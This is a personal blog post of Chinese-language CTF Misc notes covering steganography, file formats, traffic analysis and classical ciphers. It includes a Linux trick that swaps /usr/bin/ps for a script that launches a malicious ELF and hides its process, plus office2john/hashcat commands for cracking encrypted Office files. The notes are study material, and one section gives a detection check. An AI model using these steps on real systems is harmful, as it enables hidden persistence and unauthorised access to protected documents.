Misc随笔

Logo语言

Logo解释器 (calormen.com)

Logo语言: Logo语言是一种简单的图形化编程语言,主要用于儿童编程启蒙教育。核心特点是“海龟图形”。

代码示例:

1
cs pu lt 90 fd 500 rt 90 pd fd 100 rt 90 repeat 18[fd 5 rt 10] lt 135 fd 50 lt 135 pu bk 100 pd setcolor pick [ red orange yellow green blue violet ] repeat 18[fd 5 rt 10] rt 90 fd 60 rt 90 bk 30 rt 90 fd 60 pu lt 90 fd 100 pd rt 90 fd 50 bk 50 setcolor pick [ red orange yellow green blue violet ] lt 90 fd 50 rt 90 fd 50 pu fd 50 pd fd 25 bk 50 fd 25 rt 90 fd 50 pu setcolor pick [ red orange yellow green blue violet ] fd 100 rt 90 fd 30 rt 45 pd fd 50 bk 50 rt 90 fd 50 bk 100 fd 50 rt 45 pu fd 50 lt 90 pd fd 50 bk 50 rt 90 setcolor pick [ red orange yellow green blue violet ] fd 50 pu lt 90 fd 100 pd fd 50 rt 90 fd 25 bk 25 lt 90 bk 25 rt 90 fd 25 setcolor pick [ red orange yellow green blue violet ] pu fd 25 lt 90 bk 30 pd rt 90 fd 25 pu fd 25 lt 90 pd fd 50 bk 25 rt 90 fd 25 lt 90 fd 25 bk 50 pu bk 100 lt 90 setcolor pick [ red orange yellow green blue violet ] fd 100 pd rt 90 arc 360 20 pu rt 90 fd 50 pd arc 360 15 pu fd 15 setcolor pick [ red orange yellow green blue violet ] lt 90 pd bk 50 lt 90 fd 25 pu home bk 100 lt 90 fd 100 pd arc 360 20 pu home

压缩包明文攻击

条件:

  • 加密压缩包

  • 未加密压缩包

  • 且两个压缩包含有CRC相同的文件

即可使用ARCHPR工具进行明文攻击

TTL隐写

特点:

  • 多个0~255的数字

  • 大多是”63,127,255”等

  • 将数字转成8位二进制数,每个数取前两位,每八位组成一个隐写的数字

代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from tqdm import tqdm

cnt = 0
tmp_bin = ""
ans = open('C:\\Users\\29226\\Desktop\\BUUctf\\MISC\\第4页\\7\\output2.txt','w')

with open('C:\\Users\\29226\\Desktop\\BUUctf\\MISC\\第4页\\7\\attachment.txt', 'r') as f:
total_lines = sum(1 for line in f)

for line in tqdm(open('C:\\Users\\29226\\Desktop\\BUUctf\\MISC\\第4页\\7\\attachment.txt', 'r'), total=total_lines, desc="Processing"):
line = line.replace("TTL=", "")
num = format(int(line), '08b') # 8位二进制数,如“0b11111111”
tmp_bin += num[:2]
cnt += 1
if cnt == 4:
cnt = 0
m = chr(int(tmp_bin, 2))
ans.write(m)
tmp_bin = "" # 清空以进行下次循环

ans.close()
print("Successfully!!!")清空以进行下次循环

print(ans)

零宽度字符隐写

五种字符:

  • 零宽度空格(\u200b)

  • 零宽度非连接符(\u200c)

  • 零宽度连接符(\u200d)

  • 从左至右书写标记(\u200e)

  • 从右至左书写标记(\u200f)

特点:

  • 在txt等正常查看方式中不可见,与正常文本无异。
  • 无宽度

在线工具:
Unicode Steganography with Zero-Width Characters

区分:WhiteSpace编程语言

特点:

  • 只使用空白字符(空格、制表符和换行符)来编写代码。
  • 仍然能够选中,有宽度。

在线运行工具:

whitespace在线运行,在线工具,在线编译IDE_w3cschool

M4A音频文件

文件开头:(与MP4类似)

1
00 00 00 xx 66 74 79 70 4D 34 41 20

(MP4):

1
00 00 00 20 66 74 79 70 4D 34 56 20

开头结构:

  • 00 00 00 xx 表示文件头的大小(xx 是一个变量,表示具体的字节长度)。

  • 66 74 79 70ftyp(file type)的 ASCII 表示,用于标识文件类型。

  • 4D 34 41 20M4A 的 ASCII 表示,明确指出这是一个 M4A 音频文件。

汉信码

概念:

  • 矩阵式二维条码,由中国自主研发,更适合汉字的表示。

示例:

在线识别:

在线汉信码识别,汉信码解码 - 兔子二维码 (tuzim.net)

ELF文件

概念:

  • ELF(Executable and Linkable Format)文件是一种用于可执行文件、目标代码、共享库和核心转储的标准文件格式。它广泛应用于多种操作系统和架构,尤其是类Unix系统(如Linux、FreeBSD等)。

结构:

  • ELF文件头(ELF Header):
1
7F 45 4C 46 (.ELF)
  • 程序头表(Program Header Table)

  • 段表(Section Header Table)

  • 数据区

示例:

  • 对于ELF可执行文件来说,可在Linux系统中直接运行。
1
./ELF_FILE

命令替换(Linux)

概念:

攻击者找到系统命令文件,将其替换位恶意脚本或文件(以“ps”命令为例)

1
2
3
4
whereis ps
mkdir .hide_command
mv /usr/bin/ps .hide_command/
vi /usr/bin/ps

然后在 /usr/bin/ps 中写入恶意脚本,如:

1
2
#!/bin/bash
/centos_core.elf & /.hide_command/ps | grep -v "shell" | grep -v "centos_core" | grep "bash"

    脚本会在每次执行 ps 命令时运行一个恶意程序(如 /centos_core.elf),并过滤掉某些进程信息,从而隐藏恶意进程。

特点:

  • 通常是/usr/bin/中的命令,如“ps”等

查询方法:

rpm -Vf /usr/bin/*,可查询命令是否被修改。

IP地址

概念:

  • 全称: Internet Protocol Address(互联网协议地址)

功能:

  • 标识设备: 标识主机的网络接口,提供主机在网络中的位置。

  • 网络寻址: 充当网络寻址中的目的地。

(常用)版本:

  • IPv4(42亿个地址已用尽):

    • 32位二进制数组成。XXX.XXX.XXX.XXX(XXX为小于255的10进制数)。

    • A类:1.0.0.1~127.255.255.254

    • B类:128.0.0.1~191.255.255.254

    • C类:192.0.0.1~223.255.255.254

    • D类:留给Internet体系结构委员会(IAB)使用【组播地址】

    • E类:特殊保留地址,如255.255.255.255为受限广播地址,用来将一个分组以广播方式发送给本网络中的所有主机,路由器则阻挡该分组通过,将其广播功能限制在本网内部。

  • IPv6:

    • 由128位二进制组成,一般采用32个十六进制数表示。

内网(以下情况一般是内网IP地址):

  • A类私有地址10.0.0.010.255.255.255

  • B类私有地址172.16.0.0172.31.255.255

  • C类私有地址192.168.0.0192.168.255.255

子网:

  • 子网掩码将IP地址分割成多个子网,每个子网都有自己的网络地址和广播地址。

  • 目的是将一个大的网络分割成多个小的网络,以便更高效地管理和使用IP地址。

地址转换(NAT):

  • NAT设备会将专用网络上的不同IP地址映射为公共互联网上的不同的TCP或者UDP的端口号。

  • 在家用网络中,NAT功能通常是在家庭网络的网关中实现的。在这种情况下,连接到网关的计算机具有专用的IP地址,并且网关会在外部接口上进行Internet通信。

  • 内部的计算机共享这一个公共的IP地址。

Microsoft Office加密文档

攻击方法: 使用office2john和hashcat破解

步骤:

  • 先使用office2john获取加密文档的hash值
1
2
3
4
python office2john.py /home/kali/Desktop/encrypted > hash.txt

#再切割为hashcat能处理的数据模式
awk -F ":" '{print $2}' hash.txt > hashcat_use.txt
  • 查看输出中的加密文件的office版本

  • 使用hashcat --help 找到office文件对应的m参数,再使用hashcat破解

1
hashcat -a 3 -m 9500 hashcat_use.txt  --increment --increment-min 1 --increment-max 8 ?d?d?d?d?d?d?d?d

慢扫描电视(sstv)

慢扫描电视(Slow-scan television):是业余无线电爱好者的一种主要图片传输方法,慢扫描电视通过无线电传输和接收单色或彩色静态图片。

特点: 业余无线电操作员通常在短波(或高频)、甚高频超高频波段使用慢扫描电视。

工具: qsstv (软件)、RX-SSTV+虚拟声卡

1
apt-get install qsstv

使用方法:

  • 打开软件后,在Options->Configuration->Sound中勾选From file

  • 点击start receiver开始接收,选择音频文件就可以了。

PT2242

用途: 用于电单车锁车信号

PT2242信号:前面4bit(一般)表示同步码,中间的20bit表示地址码,后面的4bit表示功能码,最后一位是停止码。

时间隐写(gif)

介绍: gif图片每一帧动画之间的延迟时间

方法: identify -format "%T" flag.gif 来提取延迟时间。

常见: 常见情况是把高延迟记为‘1’,低延迟记为‘0’

协议中传输数据

介绍: 在协议传输中,如ICMP可能每次传输少量数据,但拼接起来可能是特殊文件

提取方法: tshark

tshark -r out.pcap -T fields -e data > out.txt ,会将流量传输中的数据提取出来。

TLS私钥流量分析

注意: 若流量中出现FTP、SMTP、TCP、TSL等协议,且很多追踪流出现乱码,很有可能是让找私钥key去解密TSL。

步骤:

  • 找私钥,格式为
1
2
3
-----BEGIN RSA PRIVATE KEY-----
XXXXXXX
-----END RSA PRIVATE KEY-----
  • 在wireshark的首选项中添加TLS私钥,然后追踪TLS流来找信息。

关键字密码

介绍: 古典密码,属于替换密码。
特点: 结构不变,变换前后全是字母,而且大小写一致,多为大写。
实现举例:

  • 明文:HELLO
  • 关键字:KEYWORD
  • 密文:先求替换表,将关键字去重,从字母表提出来,放在新表最前面。
1
2
3
ABCDEFGHIJKLMNOPQRSTUVWXYZ
↓ ↓ ↓ ↓
KEYWORDABCFGHIJLMNPQSTUVXZ

对应字母替换后就是密文,在本例中替换后,得到AOGGJ

图片拼接+复位

拼接工具: montage
安装: sudo apt-get install imagemagick
使用: montage *.jpg -tile 12x10 -geometry 200x100+0+0 flag.jpg
*.jpg:表示当前文件夹下所有jpg图片
12x10 :表示合成后为宽12张图片,高10张图片
200x100+0+0:表示每张小图片宽200像素,高100像素,+0+0表示宽高方向间隙都为0。

复位工具: gaps
安装:(建议python3.9版本)

  • 获取项目
1
2
git clone https://github.com/nemanja-m/gaps.git
cd gaps
  • 安装需求:
1
poetry install
  • 本地安装项目:
1
pip install .

使用:

  • 打乱
1
gaps create images/pillars.jpg puzzle.jpg --size=64
  • 复位
1
gaps run puzzle.jpg solution.jpg --generations=20 --population=600

Misc随笔
http://ramoor.github.io/2025/02/28/Misc随笔/
作者
Ramoor
发布于
2025年2月28日
许可协议